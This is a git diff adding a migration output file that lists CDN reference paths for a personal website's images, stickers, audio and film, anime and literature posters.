+photos/people/artists/michelangelo-merisi-da-caravaggio.jpg +photos/people/artists/raffaello-sanzio-da-urbino.jpg +photos/people/artists/rembrandt.webp +photos/people/artists/sandro-botticelli.jpg +photos/people/authors/bram-stoker.jpg +photos/people/authors/fyodor-dostoyevsky.jpeg +photos/people/authors/haruki-murakami.jpg +photos/people/authors/james-baldwin.jpg +photos/people/authors/jane-austen.jpg +photos/people/authors/jorge-luis-borges.jpg +photos/people/authors/louisa-may-alcott.jpeg +photos/people/authors/mary-shelley.png +photos/people/authors/michel-de-montaigne.jpg +photos/people/authors/virginia-woolf.jpg +photos/people/ayn-rand.jpg +photos/people/ballerinas/marie-taglioni.jpg +photos/people/carl-friedrich-gauss.jpg +photos/people/designers/jill-sander.webp +photos/people/dongni-hou.jpg +photos/people/leonard-euler.jpg +photos/people/lisa-piccirillo.jpg +photos/people/musicians/archie-bell-and-the-drells.jpg +photos/people/musicians/aretha-franklin.jpg +photos/people/musicians/arthur-conley.jpg +photos/people/musicians/barbara-lewis.jpg +photos/people/musicians/barbara-mason.jpg +photos/people/musicians/ben-e-king.jpg +photos/people/musicians/bobby-hebb.jpg +photos/people/musicians/booker-t-and-the-mgs.jpg +photos/people/musicians/brenton-wood.jpg +photos/people/musicians/chuck-berry.jpg +photos/people/musicians/dave-prater.jpg +photos/people/musicians/dee-dee-sharp.jpg +photos/people/musicians/diana-ross.jpg +photos/people/musicians/dusty-springfield.jpg +photos/people/musicians/eddie-floyd.jpg +photos/people/musicians/edwin-starr.jpg +photos/people/musicians/ernie-k-doe.jpg +photos/people/musicians/frank-sinatra.jpg +photos/people/musicians/irma-thomas.jpg +photos/people/musicians/jackie-wilson.jpg +photos/people/musicians/james-brown.jpg +photos/people/musicians/jimmy-soul.jpg +photos/people/musicians/laufey.jpg +photos/people/musicians/lesley-gore.jpg +photos/people/musicians/little-milton.jpg +photos/people/musicians/martha-reeves.jpg +photos/people/musicians/marvin-gaye.jpg +photos/people/musicians/mary-wells.jpg +photos/people/musicians/michael-jackson.jpg +photos/people/musicians/miki-matsubara.jpg +photos/people/musicians/neutral-milk-hotel.jpg +photos/people/musicians/nina-simone.jpg +photos/people/musicians/otis-redding.jpg +photos/people/musicians/percy-sledge.jpg +photos/people/musicians/ramsey-lewis.jpg +photos/people/musicians/ray-charles.jpg +photos/people/musicians/sam-cooke.jpg +photos/people/musicians/sam-moore.jpg +photos/people/musicians/sammy-davis-jr.jpg +photos/people/musicians/sly-and-the-family-stone.jpg +photos/people/musicians/smokey-robinson.jpg +photos/people/musicians/solomon-burke.jpg +photos/people/musicians/stevie-wonder.jpg +photos/people/musicians/tammi-terrell.jpg +photos/people/musicians/the-beatles.jpg +photos/people/musicians/the-four-tops.jpg +photos/people/musicians/the-isley-brothers.jpg +photos/people/musicians/the-marvelettes.jpg +photos/people/musicians/the-supremes.jpg +photos/people/musicians/the-temptations.jpg +photos/people/musicians/wilson-pickett.jpg +photos/people/philosophers/albert-camus.jpg +photos/people/philosophers/georg-willhelm-friedrich-hegel.jpg +photos/people/philosophers/immanuel-kant.jpg +photos/people/philosophers/jean-paul-sartre.jpeg +photos/people/phoebe-philo.jpg +photos/people/poets/edgar-allen-poe.jpg +photos/people/poets/edna-st-vincent-millay.jpg +photos/people/poets/william-shakespeare.jpg +photos/people/rei-kawakubo.jpg +photos/people/srinivasa-ramanujan.jpg +photos/people/zaha-hadid.jpg +photos/reference/ku-klux-klan.png +photos/reference/pentagram.png +photos/reference/symbols/abracadabra-triangle.jpg +photos/reference/symbols/ahimsa-hand.png +photos/reference/symbols/alchemical-amalgam.png +photos/reference/symbols/alchemical-antimony.png +photos/reference/symbols/alchemical-arsenic.png +photos/reference/symbols/alchemical-bismuth.png +photos/reference/symbols/alchemical-crucible.png +photos/reference/symbols/alchemical-gold.png +photos/reference/symbols/alchemical-phosphorus.png +photos/reference/symbols/alchemical-platinum.png +photos/reference/symbols/alchemical-salt.png +photos/reference/symbols/alchemical-silver.png +photos/reference/symbols/alchemical-sulfur.png +photos/reference/symbols/alchemical-vitriol.png +photos/reference/symbols/antifa-flags.png +photos/reference/symbols/aqua-regia.png +photos/reference/symbols/ascendant.png +photos/reference/symbols/asteroid-lilith.png +photos/reference/symbols/bindu.png +photos/reference/symbols/bisexual-triangles.png +photos/reference/symbols/black-flag.png +photos/reference/symbols/black-panther.png +photos/reference/symbols/black-sun.png +photos/reference/symbols/bluetooth.png +photos/reference/symbols/bohemian-grove-owl.jpg +photos/reference/symbols/burning-bush.jpg +photos/reference/symbols/celtic-cross-political.png +photos/reference/symbols/celtic-cross.png +photos/reference/symbols/chaos-star.png +photos/reference/symbols/christus-victor.png +photos/reference/symbols/conch-shell.png +photos/reference/symbols/coptic-cross.png +photos/reference/symbols/cross-potent.png +photos/reference/symbols/crucifix.png +photos/reference/symbols/demolay-crown.png +photos/reference/symbols/double-headed-eagle.png +photos/reference/symbols/double-vajra.png +photos/reference/symbols/element-air.png +photos/reference/symbols/element-earth.png +photos/reference/symbols/element-fire.png +photos/reference/symbols/element-water.png +photos/reference/symbols/endless-knot.png +photos/reference/symbols/enneagram.png +photos/reference/symbols/eye-of-horus.png +photos/reference/symbols/eye-of-providence.png +photos/reference/symbols/eye-of-ra.png +photos/reference/symbols/faravahar.png +photos/reference/symbols/fasces.png +photos/reference/symbols/flaming-chalice.png +photos/reference/symbols/flower-of-life.png +photos/reference/symbols/gordian-knot.jpg +photos/reference/symbols/griffin.png +photos/reference/symbols/hamsa.jpg +photos/reference/symbols/helm-of-awe.png +photos/reference/symbols/hermetic-order-golden-dawn.png +photos/reference/symbols/huguenot-cross.png +photos/reference/symbols/ichthys.png +photos/reference/symbols/ihs-christogram.png +photos/reference/symbols/illuminati-pyramid.jpg +photos/reference/symbols/inverted-cross.png +photos/reference/symbols/irminsul.png +photos/reference/symbols/iron-cross.png +photos/reference/symbols/jolly-roger.png +photos/reference/symbols/knights-of-pythias.png +photos/reference/symbols/labrys-feminist.png +photos/reference/symbols/labrys.png +photos/reference/symbols/labyrinth.png +photos/reference/symbols/leviathan-cross.png +photos/reference/symbols/lotus.jpg +photos/reference/symbols/mandala.jpg +photos/reference/symbols/mano-cornuta.png +photos/reference/symbols/masonic-double-headed-eagle.gif +photos/reference/symbols/masonic-eye.png +photos/reference/symbols/masonic-keystone.png +photos/reference/symbols/medical-cross.png +photos/reference/symbols/menorah.png +photos/reference/symbols/metatrons-cube.png +photos/reference/symbols/midheaven.png +photos/reference/symbols/mjolnir.jpg +photos/reference/symbols/monas-hieroglyphica.png +photos/reference/symbols/nazar.png +photos/reference/symbols/nine-pointed-star.png +photos/reference/symbols/odd-fellows-chain-links.jpg +photos/reference/symbols/order-eastern-star.png +photos/reference/symbols/ordo-templi-orientis.png +photos/reference/symbols/ouroboros.jpg +photos/reference/symbols/part-of-fortune.png +photos/reference/symbols/patriarchal-cross.png +photos/reference/symbols/philosophers-stone.png +photos/reference/symbols/phoenix.jpg +photos/reference/symbols/pink-triangle.png +photos/reference/symbols/priory-of-sion.png +photos/reference/symbols/qr-code.png +photos/reference/symbols/quintessence-aether.png +photos/reference/symbols/red-star.png +photos/reference/symbols/rod-of-moses.png +photos/reference/symbols/rose-cross.png +photos/reference/symbols/rosicrucian-cross.png +photos/reference/symbols/sacred-heart.jpg +photos/reference/symbols/sator-square.jpg +photos/reference/symbols/scarab-winged.jpg +photos/reference/symbols/shriners-scimitar.png +photos/reference/symbols/sigil-of-baphomet.png +photos/reference/symbols/skull-and-bones-322.jpg +photos/reference/symbols/solidarity-fist.png +photos/reference/symbols/square-and-compass.png +photos/reference/symbols/sri-yantra.jpg +photos/reference/symbols/three-arrows.png +photos/reference/symbols/thule-society.png +photos/reference/symbols/thunderbird.jpg +photos/reference/symbols/tree-of-life-kabbalah.png +photos/reference/symbols/trident-of-poseidon.png +photos/reference/symbols/triple-moon.png +photos/reference/symbols/triquetra.png +photos/reference/symbols/triskelion.png +photos/reference/symbols/tryzub.png +photos/reference/symbols/unalome.png +photos/reference/symbols/unicursal-hexagram.png +photos/reference/symbols/usb-symbol.png +photos/reference/symbols/valknut.png +photos/reference/symbols/vegvisir.png +photos/reference/symbols/vesica-piscis.png +photos/reference/symbols/wifi-symbol.png +photos/reference/symbols/winged-sun-disk.jpg +photos/reference/symbols/wolfsangel.png +photos/research/a-discrete-iteration-related-to-pierce-expansions.png +photos/shop/juvenilia-collected-early-works.jpg diff --git a/doc/files/cdn/migration/output/cdn-reference-paths.txt b/doc/files/cdn/migration/output/cdn-reference-paths.txt new file mode 100644 index 0000000000000000000000000000000000000000..aebae8ef7f50e6181677753929f553f56afbd8d1 --- /dev/null +++ b/doc/files/cdn/migration/output/cdn-reference-paths.txt @@ -0,0 +1,430 @@ +** +archive/apple/macbook-13inch-mid-2010-technical-specifications.pdf +assets/404/audio/ +assets/404/img/ +assets/404/videos/ +assets/characters +assets/covers/blog/God-is-not-a-respecter-of-persons.png +assets/covers/blog/albert-anker--schreibender-knabe-mit-schwesterchen-1883.jpg +assets/covers/blog/do-not-be-overly-righteous.png +assets/covers/blog/edward-hopper--new-york-movie-1939.jpg +assets/covers/blog/eugene-delacroix--mephistopheles-apparaissant-a-faust-1828.jpg +assets/covers/blog/friedrich-rehberg--drawings-from-nature-pl09-1794.jpg +assets/covers/blog/god-is-not-a-tempter-of-man.png +assets/covers/blog/gustave-courbet--the-desperate-man-1845.jpg +assets/covers/blog/john-william-waterhouse--the-crystal-ball-1902.jpeg +assets/covers/blog/marie-taglioni-the-first-to-float.jpg +assets/covers/blog/the-waste-land.jpg +assets/covers/blog/ulalume.jpg +assets/covers/essays/analysis-of-daisy-randone.png +assets/covers/essays/analysis-of-lisa-rowe.png +assets/covers/essays/analysis-of-susanna-kaysen.png +assets/covers/essays/hieronymus-bosch--the-garden-of-earthly-delights-1510.webp +assets/covers/essays/nikolai-bogdanov-belsky--mental-arithmetic-1895.webp +assets/covers/essays/remedios-varo--embroidering-the-earths-mantle-1961.jpg +assets/covers/essays/thomas-couture--romans-during-the-decadence-1847.jpg +assets/covers/fiction/how-they-fall/aurora-miller.png +assets/covers/notes/analysis-of-veronica-sawyer.png +assets/covers/notes/mnemosyne.png +assets/covers/notes/on-torrents.png +assets/covers/notes/winona-ryder.png +assets/covers/ocs/astrid-baxter.png +assets/covers/ocs/aurora-miller.png +assets/covers/ocs/azazel.png +assets/covers/ocs/chloe-elyon.png +assets/covers/ocs/elmer-remington.png +assets/covers/ocs/ena-of-mitani.png +assets/covers/ocs/gertrude-jennings.png +assets/covers/ocs/hortense-fletcher.png +assets/covers/ocs/imogen-riccheti.png +assets/covers/ocs/josephine-gilroy.png +assets/covers/ocs/lavinia-fairchild.png +assets/covers/ocs/lillith.png +assets/covers/ocs/lior-elyon.png +assets/covers/ocs/minerva-remington.png +assets/covers/ocs/miranda-strauss.png +assets/covers/ocs/morgan-elwood.png +assets/covers/ocs/prescilla-prescott.png +assets/covers/ocs/rylee-moncler.png +assets/covers/ocs/saul-matsuda.png +assets/covers/ocs/sydney-lane.png +assets/covers/ocs/william-miller.png +assets/covers/ocs/yifah-cohen.png +assets/covers/ocs/zephyra.png +assets/logos/krisyotam-dark.png +assets/logos/krisyotam-light.png +assets/logos/krisyotam-personal-crest-darkmode.png +assets/logos/krisyotam-personal-crest.png +assets/logos/krisyotam-site-dark.png +assets/logos/krisyotam-site-light.png +assets/logos/krisyotam-site-sticker-darkmode.gif +assets/logos/krisyotam-site-sticker-lightmode.gif +assets/stickers/88x31/22.png +assets/stickers/88x31/3dsowner.jpg +assets/stickers/88x31/bad-apple.webp +assets/stickers/88x31/blm-b.png +assets/stickers/88x31/edited-with-vim.gif +assets/stickers/88x31/free-speech-forever.gif +assets/stickers/88x31/fuck-facebook.svg +assets/stickers/88x31/geocities5.gif +assets/stickers/88x31/i-use-arch-linux-btw-88x31.png +assets/stickers/88x31/iloveoldweb.png +assets/stickers/88x31/itoddler.gif +assets/stickers/88x31/linux-directory.gif +assets/stickers/88x31/linux-p.gif +assets/stickers/88x31/lulu.gif +assets/stickers/88x31/mothracompat.gif +assets/stickers/88x31/neocities.gif +assets/stickers/88x31/neocitiesorg.gif +assets/stickers/88x31/nintedowii.png +assets/stickers/88x31/noaa.gif +assets/stickers/88x31/powered-by-plan9.gif +assets/stickers/88x31/right2repair.gif +assets/stickers/88x31/sharing-is-caring.gif +assets/stickers/88x31/sonic.gif +assets/stickers/88x31/this-site-is-miku-approved.gif +assets/stickers/88x31/this-site-was-made-in-arch.gif +assets/stickers/88x31/tor.gif +assets/stickers/88x31/vivaldi.gif +assets/stickers/88x31/volta.gif +assets/stickers/88x31/wget.gif +assets/stickers/88x31/wikipedia.gif +assets/stickers/88x31/winampg.gif +assets/stickers/neighbors/ransei.gif +audio/`. +audio/sfx/twinkle.mp3 +images/anime/1985-angels-egg-mamoru-oshii.jpeg +images/anime/1988-legend-of-the-galactic-heroes-noboru-ishiguro.jpg +images/anime/1995-ghost-in-the-shell-mamoru-oshii.jpg +images/anime/1995-neon-genesis-evangelion-hideaki-anno.jpg +images/anime/1998-cowboy-bebop-shinichiro-watanabe.jpg +images/anime/1998-serial-experiments-lain-ryutaro-nakamura.jpg +images/anime/2000-flcl-kazuya-tsurumaki.jpg +images/anime/2002-haibane-renmei-tomokazu-tokoro.jpg +images/anime/2003-texhnolyze-hiroshi-hamasaki.jpg +images/anime/2004-elfen-lied-mamoru-kanbe.jpg +images/anime/2005-speed-grapher-kunihisa-sugishima.jpeg +images/anime/2006-death-note-tetsuro-araki.jpg +images/anime/2006-ergo-proxy-shuko-murase.jpg +images/anime/2010-the-tatami-galaxy-masaaki-yuasa.png +images/anime/2013-the-tale-of-princess-kaguya-isao-takahata.jpg +images/anime/2018-that-time-i-got-reincarnated-as-a-slime-yasuhito-kikuchi.jpg +images/anime/2023-frieren-beyond-journeys-end-keiichiro-saito.jpg +images/anime/2024-wistoria-wand-and-sword-tatsuya-yoshihara.jpg +images/anime/posters +images/anime/posters/${filename}` +images/bookstores/frugal-muse.jpg +images/bookstores/the-village-booksmith.jpg +images/film/1927-topsy-and-eva-del-lord.jpg +images/film/1929-diary-of-a-lost-girl-gw-pabst.jpg +images/film/1941-citizen-kane-orson-welles.jpg +images/film/1942-casablanca-michael-curtiz.jpg +images/film/1950-all-about-eve-joseph-l-mankiewicz.jpg +images/film/1960-les-yeux-sans-visage-georges-franju.jpg +images/film/1961-breakfast-at-tiffanys-blake-edwards.jpg +images/film/1975-jeanne-dielman-23-quai-du-commerce-1080-bruxelles-chantal-akerman.png +images/film/1975-picnic-at-hanging-rock-peter-weir.jpg +images/film/1980-the-shining-stanley-kubrick.jpg +images/film/1981-possession-andrzej-zulawski.jpg +images/film/1985-the-breakfast-club-john-hughes.webp +images/film/1989-heathers-michael-lehmann.jpg +images/film/1990-house-party-reginald-hudlin.webp +images/film/1990-mermaids-richard-benjamin.jpg +images/film/1991-night-on-earth-jim-jarmusch.jpg +images/film/1994-pulp-fiction-quentin-tarantino.jpg +images/film/1997-lost-highway-david-lynch.png +images/film/1997-perfect-blue-satoshi-kon.jpeg +images/film/1999-girl-interrupted-james-mangold.png +images/film/2000-love-and-basketball-gina-prince-bythewood.jpg +images/film/2001-a-space-odyssey-stanley-kubrick-1968.jpg +images/film/2001-mulholland-drive-david-lynch.jpg +images/film/2025-weapons-zach-cregger.jpg +images/film/812-federico-fellini-1963.jpg +images/film/a-bout-de-souffle-jean-luc-godard-1960.jpg +images/film/a-brighter-summer-day-edward-yang-1991.jpg +images/film/a-canterbury-tale-michael-powell-1944.jpg +images/film/a-city-of-sadness-hou-hsiao-hsien-1989.jpg +images/film/a-clockwork-orange-stanley-kubrick-1971.jpg +images/film/a-man-escaped-robert-bresson-1956.jpg +images/film/a-matter-of-life-and-death-michael-powell-1946.jpg +images/film/a-touch-of-zen-king-hu-1971.jpg +images/film/a-woman-under-the-influence-john-cassavetes-1974.jpg +images/film/aguirre-wrath-of-god-werner-herzog-1972.jpg +images/film/alien-ridley-scott-1979.jpg +images/film/all-about-eve-joseph-l-mankiewicz-1950.jpg +images/film/all-about-my-mother-pedro-almodovar-1999.jpg +images/film/all-that-heaven-allows-douglas-sirk-1955.jpg +images/film/amarcord-federico-fellini-1973.jpg +images/film/an-autumn-afternoon-yasujiro-ozu-1962.jpg +images/film/andrei-rublev-andrei-tarkovsky-1966.jpg +images/film/annie-hall-woody-allen-1977.jpg +images/film/apocalypse-now-francis-ford-coppola-1979.jpg +images/film/army-of-shadows-jean-pierre-melville-1969.jpg +images/film/as-i-was-moving-ahead-occasionally-i-saw-brief-glimpses-of-beauty-jonas-mekas-2000.jpg +images/film/au-hasard-balthazar-robert-bresson-1966.jpg +images/film/barry-lyndon-stanley-kubrick-1975.jpg +images/film/battleship-potemkin-sergei-eisenstein-1925.jpg +images/film/beau-travail-claire-denis-1999.jpg +images/film/bicycle-thieves-vittorio-de-sica-1948.jpg +images/film/black-girl-ousmane-sembene-1966.jpg +images/film/black-narcissus-michael-powell-1947.jpg +images/film/blade-runner-ridley-scott-1982.jpg +images/film/blue-derek-jarman-1993.jpg +images/film/blue-velvet-david-lynch-1986.jpg +images/film/born-in-flames-lizzie-borden-1983.jpg +images/film/brief-encounter-david-lean-1945.jpg +images/film/bringing-up-baby-howard-hawks-1938.jpg +images/film/by-the-bluest-of-seas-boris-barnet-1936.jpg +images/film/casablanca-michael-curtiz-1942.jpg +images/film/celine-and-julie-go-boating-jacques-rivette-1974.jpg +images/film/charulata-satyajit-ray-1964.jpg +images/film/chinatown-roman-polanski-1974.jpg +images/film/chungking-express-wong-kar-wai-1994.jpg +images/film/citizen-kane-orson-welles-1941.jpg +images/film/city-lights-charles-chaplin-1931.jpg +images/film/cleo-from-5-to-7-agnes-varda-1962.jpg +images/film/close-up-abbas-kiarostami-1990.jpg +images/film/come-and-see-elem-klimov-1985.jpg +images/film/crash-david-cronenberg-1996.jpg +images/film/cries-and-whispers-ingmar-bergman-1972.jpg +images/film/daisies-vera-chytilova-1966.jpg +images/film/daughters-of-the-dust-julie-dash-1991.jpg +images/film/days-of-heaven-terrence-malick-1978.jpg +images/film/distant-voices-still-lives-terence-davies-1988.jpg +images/film/do-the-right-thing-spike-lee-1989.jpg +images/film/dont-look-now-nicolas-roeg-1973.jpg +images/film/double-indemnity-billy-wilder-1944.jpg +images/film/dr-strangelove-stanley-kubrick-1964.jpg +images/film/duck-soup-leo-mccarey-1933.jpg +images/film/earth-alexander-dovzhenko-1930.jpg +images/film/europa-51-roberto-rossellini-1952.jpg +images/film/fanny-and-alexander-ingmar-bergman-1982.jpg +images/film/fear-eats-the-soul-rainer-werner-fassbinder-1974.jpg +images/film/flowers-of-shanghai-hou-hsiao-hsien-1998.jpg +images/film/gertrud-carl-theodor-dreyer-1964.jpg +images/film/get-out-jordan-peele-2017.jpg +images/film/goodbye-dragon-inn-tsai-ming-liang-2003.jpg +images/film/goodfellas-martin-scorsese-1990.jpg +images/film/grave-of-the-fireflies-isao-takahata-1988.jpg +images/film/greed-erich-von-stroheim-1924.jpg +images/film/happy-together-wong-kar-wai-1997.jpg +images/film/harlan-county-usa-barbara-kopple-1976.jpg +images/film/heat-michael-mann-1995.jpg +images/film/hiroshima-mon-amour-alain-resnais-1959.jpg +images/film/his-girl-friday-howard-hawks-1940.jpg +images/film/histoires-du-cinema-jean-luc-godard-1998.jpg +images/film/i-know-where-im-going-michael-powell-1945.jpg +images/film/ikiru-akira-kurosawa-1952.jpg +images/film/imitation-of-life-douglas-sirk-1959.jpg +images/film/in-a-lonely-place-nicholas-ray-1950.jpg +images/film/in-the-mood-for-love-wong-kar-wai-2000.jpg +images/film/in-vandas-room-pedro-costa-2000.jpg +images/film/india-song-marguerite-duras-1975.jpg +images/film/intolerance-dw-griffith-1916.jpg +images/film/its-a-wonderful-life-frank-capra-1946.jpg +images/film/jaws-steven-spielberg-1975.jpg +images/film/je-tu-il-elle-chantal-akerman-1974.jpg +images/film/jeanne-dielman-23-quai-du-commerce-1080-bruxelles-chantal-akerman-1975.jpg +images/film/johnny-guitar-nicholas-ray-1954.jpg +images/film/journey-to-italy-roberto-rossellini-1954.jpg +images/film/killer-of-sheep-charles-burnett-1978.jpg +images/film/la-cienaga-lucrecia-martel-2001.jpg +images/film/la-dolce-vita-federico-fellini-1960.jpg +images/film/la-grande-illusion-jean-renoir-1937.jpg +images/film/la-jetee-chris-marker-1962.jpg +images/film/la-maman-et-la-putain-jean-eustache-1973.jpg +images/film/la-regle-du-jeu-jean-renoir-1939.jpg +images/film/largent-robert-bresson-1983.jpg +images/film/last-year-at-marienbad-alain-resnais-1961.jpg +images/film/latalante-jean-vigo-1934.jpg +images/film/late-spring-yasujiro-ozu-1949.jpg +images/film/lavventura-michelangelo-antonioni-1960.jpg +images/film/lawrence-of-arabia-david-lean-1962.jpg +images/film/le-bonheur-agnes-varda-1965.jpg +images/film/le-mepris-jean-luc-godard-1963.jpg +images/film/leclisse-michelangelo-antonioni-1962.jpg +images/film/les-demoiselles-de-rochefort-jacques-demy-1967.jpg +images/film/les-enfants-du-paradis-marcel-carne-1945.jpg +images/film/letter-from-an-unknown-woman-max-ophuls-1948.jpg +images/film/limite-mario-peixoto-1931.jpg +images/film/los-olvidados-luis-bunuel-1950.jpg +images/film/love-streams-john-cassavetes-1984.jpg +images/film/m-fritz-lang-1931.jpg +images/film/mad-max-fury-road-george-miller-2015.jpg +images/film/madame-de-max-ophuls-1953.jpg +images/film/magnolia-paul-thomas-anderson-1999.jpg +images/film/man-with-a-movie-camera-dziga-vertov-1929.jpg +images/film/meghe-dhaka-tara-ritwik-ghatak-1960.jpg +images/film/melancholia-lars-von-trier-2011.jpg +images/film/memories-of-underdevelopment-tomas-gutierrez-alea-1968.jpg +images/film/meshes-of-the-afternoon-maya-deren-1943.jpg +images/film/metropolis-fritz-lang-1927.jpg +images/film/mirror-andrei-tarkovsky-1975.jpg +images/film/modern-times-charles-chaplin-1936.jpg +images/film/moonlight-barry-jenkins-2016.jpg +images/film/morvern-callar-lynne-ramsay-2002.jpg +images/film/mouchette-robert-bresson-1967.jpg +images/film/mulholland-dr-david-lynch-2001.jpg +images/film/my-darling-clementine-john-ford-1946.jpg +images/film/my-neighbour-totoro-hayao-miyazaki-1988.jpg +images/film/napoleon-abel-gance-1927.jpg +images/film/nashville-robert-altman-1975.jpg +images/film/news-from-home-chantal-akerman-1977.jpg +images/film/north-by-northwest-alfred-hitchcock-1959.jpg +images/film/nosferatu-fw-murnau-1922.jpg +images/film/nostalgia-for-the-light-patricio-guzman-2010.jpg +images/film/notorious-alfred-hitchcock-1946.jpg +images/film/once-upon-a-time-in-america-sergio-leone-1984.jpg +images/film/once-upon-a-time-in-the-west-sergio-leone-1968.jpg +images/film/one-way-or-another-sara-gomez-1977.jpg +images/film/only-angels-have-wings-howard-hawks-1939.jpg +images/film/ordet-carl-th-dreyer-1955.jpg +images/film/orlando-sally-potter-1992.jpg +images/film/out-1-jacques-rivette-1971.jpg +images/film/out-of-the-past-jacques-tourneur-1947.jpg +images/film/paisan-roberto-rossellini-1946.jpg +images/film/pandoras-box-gw-pabst-1929.jpg +images/film/parasite-bong-joon-ho-2019.jpg +images/film/paris-is-burning-jennie-livingston-1990.jpg +images/film/paris-texas-wim-wenders-1984.jpg +images/film/partie-de-campagne-jean-renoir-1936.jpg +images/film/pather-panchali-satyajit-ray-1955.jpg +images/film/persona-ingmar-bergman-1966.jpg +images/film/petite-maman-celine-sciamma-2021.jpg +images/film/pickpocket-robert-bresson-1959.jpg +images/film/pierrot-le-fou-jean-luc-godard-1965.jpg +images/film/pink-flamingos-john-waters-1972.jpg +images/film/playtime-jacques-tati-1967.jpg +images/film/portrait-of-a-lady-on-fire-celine-sciamma-2019.jpg +images/film/possession-andrzej-zuawski-1981.jpg +images/film/psycho-alfred-hitchcock-1960.jpg +images/film/pulp-fiction-quentin-tarantino-1994.jpg +images/film/pyaasa-guru-dutt-1957.jpg +images/film/raging-bull-martin-scorsese-1980.jpg +images/film/raiders-of-the-lost-ark-steven-spielberg-1981.jpg +images/film/ran-akira-kurosawa-1985.jpg +images/film/rashomon-akira-kurosawa-1950.jpg +images/film/rear-window-alfred-hitchcock-1954.jpg +images/film/red-desert-michelangelo-antonioni-1964.jpg +images/film/rio-bravo-howard-hawks-1959.jpg +images/film/sambizanga-sarah-maldoror-1972.jpg +images/film/sans-soleil-chris-marker-1983.jpg +images/film/sansho-the-bailiff-kenji-mizoguchi-1954.jpg +images/film/satantango-bela-tarr-1994.jpg +images/film/seven-samurai-akira-kurosawa-1954.jpg +images/film/sherlock-jr-buster-keaton-1924.jpg +images/film/shoah-claude-lanzmann-1985.jpg +images/film/singin-in-the-rain-gene-kelly-1952.jpg +images/film/soleil-o-med-hondo-1970.jpg +images/film/some-like-it-hot-billy-wilder-1959.jpg +images/film/spirited-away-hayao-miyazaki-2001.jpg +images/film/stalker-andrei-tarkovsky-1979.jpg +images/film/star-wars-george-lucas-1977.jpg +images/film/sullivans-travels-preston-sturges-1941.jpg +images/film/sunrise-a-song-of-two-humans-fw-murnau-1927.jpg +images/film/sunset-blvd-billy-wilder-1950.jpg +images/film/suspiria-dario-argento-1977.jpg +images/film/symbiopsychotaxiplasm-take-one-william-greaves-1968.jpg +images/film/syndromes-and-a-century-apichatpong-weerasethakul-2006.jpg +images/film/taste-of-cherry-abbas-kiarostami-1997.jpg +images/film/taxi-driver-martin-scorsese-1976.jpg +images/film/the-400-blows-francois-truffaut-1959.jpg +images/film/the-apartment-billy-wilder-1960.jpg +images/film/the-ascent-larisa-shepitko-1977.jpg +images/film/the-battle-of-algiers-gillo-pontecorvo-1966.jpg +images/film/the-birds-alfred-hitchcock-1963.jpg +images/film/the-color-of-pomegranates-sergei-parajanov-1969.jpg +images/film/the-conformist-bernardo-bertolucci-1970.jpg +images/film/the-crowd-king-vidor-1928.jpg +images/film/the-deer-hunter-michael-cimino-1978.jpg +images/film/the-exterminating-angel-luis-bunuel-1962.jpg +images/film/the-general-buster-keaton-1926.jpg +images/film/the-gleaners-and-i-agnes-varda-2000.jpg +images/film/the-godfather-francis-ford-coppola-1972.jpg +images/film/the-godfather-part-ii-francis-ford-coppola-1974.jpg +images/film/the-good-the-bad-and-the-ugly-sergio-leone-1966.jpg +images/film/the-gospel-according-to-st-matthew-pier-paolo-pasolini-1964.jpg +images/film/the-green-ray-eric-rohmer-1986.jpg +images/film/the-headless-woman-lucrecia-martel-2008.jpg +images/film/the-hour-of-the-furnaces-fernando-solanas-1968.jpg +images/film/the-house-is-black-forough-farrokhzad-1963.jpg +images/film/the-intruder-claire-denis-2004.jpg +images/film/the-last-laugh-fw-murnau-1924.jpg +images/film/the-leopard-luchino-visconti-1963.jpg +images/film/the-life-and-death-of-colonel-blimp-michael-powell-1943.jpg +images/film/the-magnificent-ambersons-orson-welles-1942.jpg +images/film/the-man-who-shot-liberty-valance-john-ford-1962.jpg +images/film/the-matrix-lana-wachowski-1999.jpg +images/film/the-night-of-the-hunter-charles-laughton-1955.jpg +images/film/the-passion-of-joan-of-arc-carl-theodor-dreyer-1928.jpg +images/film/the-piano-jane-campion-1993.jpg +images/film/the-quince-tree-sun-victor-erice-1992.jpg +images/film/the-red-shoes-michael-powell-1948.jpg +images/film/the-river-jean-renoir-1951.jpg +images/film/the-searchers-john-ford-1956.jpg +images/film/the-seventh-seal-ingmar-bergman-1957.jpg +images/film/the-shining-stanley-kubrick-1980.jpg +images/film/the-spirit-of-the-beehive-victor-erice-1973.jpg +images/film/the-texas-chain-saw-massacre-tobe-hooper-1974.jpg +images/film/the-thing-john-carpenter-1982.jpg +images/film/the-third-man-carol-reed-1949.jpg +images/film/the-tree-of-life-terrence-malick-2011.jpg +images/film/the-umbrellas-of-cherbourg-jacques-demy-1964.jpg +images/film/the-watermelon-woman-cheryl-dunye-1996.jpg +images/film/the-wild-bunch-sam-peckinpah-1969.jpg +images/film/the-wizard-of-oz-victor-fleming-1939.jpg +images/film/there-will-be-blood-paul-thomas-anderson-2007.jpg +images/film/to-be-or-not-to-be-ernst-lubitsch-1942.jpg +images/film/tokyo-story-yasujiro-ozu-1953.jpg +images/film/touch-of-evil-orson-welles-1958.jpg +images/film/touki-bouki-djibril-diop-mambety-1973.jpg +images/film/tropical-malady-apichatpong-weerasethakul-2004.jpg +images/film/trouble-in-paradise-ernst-lubitsch-1932.jpg +images/film/twenty-years-later-eduardo-coutinho-1984.jpg +images/film/twin-peaks-fire-walk-with-me-david-lynch-1992.jpg +images/film/twin-peaks-the-return-david-lynch-2017.jpg +images/film/ugetsu-monogatari-kenji-mizoguchi-1953.jpg +images/film/un-chien-andalou-luis-bunuel-1929.jpg +images/film/uncle-boonmee-who-can-recall-his-past-lives-apichatpong-weerasethakul-2010.jpg +images/film/under-the-skin-jonathan-glazer-2013.jpg +images/film/vagabond-agnes-varda-1985.jpg +images/film/vampyr-carl-theodor-dreyer-1932.jpg +images/film/vertigo-alfred-hitchcock-1958.jpg +images/film/videodrome-david-cronenberg-1983.jpg +images/film/vivre-sa-vie-jean-luc-godard-1962.jpg +images/film/wanda-barbara-loden-1970.jpg +images/film/wavelength-michael-snow-1967.jpg +images/film/werckmeister-harmonies-bela-tarr-2000.jpg +images/film/west-indies-med-hondo-1979.jpg +images/film/west-of-the-tracks-wang-bing-2003.jpg +images/film/where-is-the-friends-house-abbas-kiarostami-1987.jpg +images/film/wild-strawberries-ingmar-bergman-1957.jpg +images/film/wings-of-desire-wim-wenders-1987.jpg +images/film/yi-yi-edward-yang-2000.jpg +images/film/zama-lucrecia-martel-2017.jpg +images/literature/1813-pride-and-prejudice-penguin-classics.jpg +images/literature/2005-never-let-me-go-kazuo-ishiguro.jpg 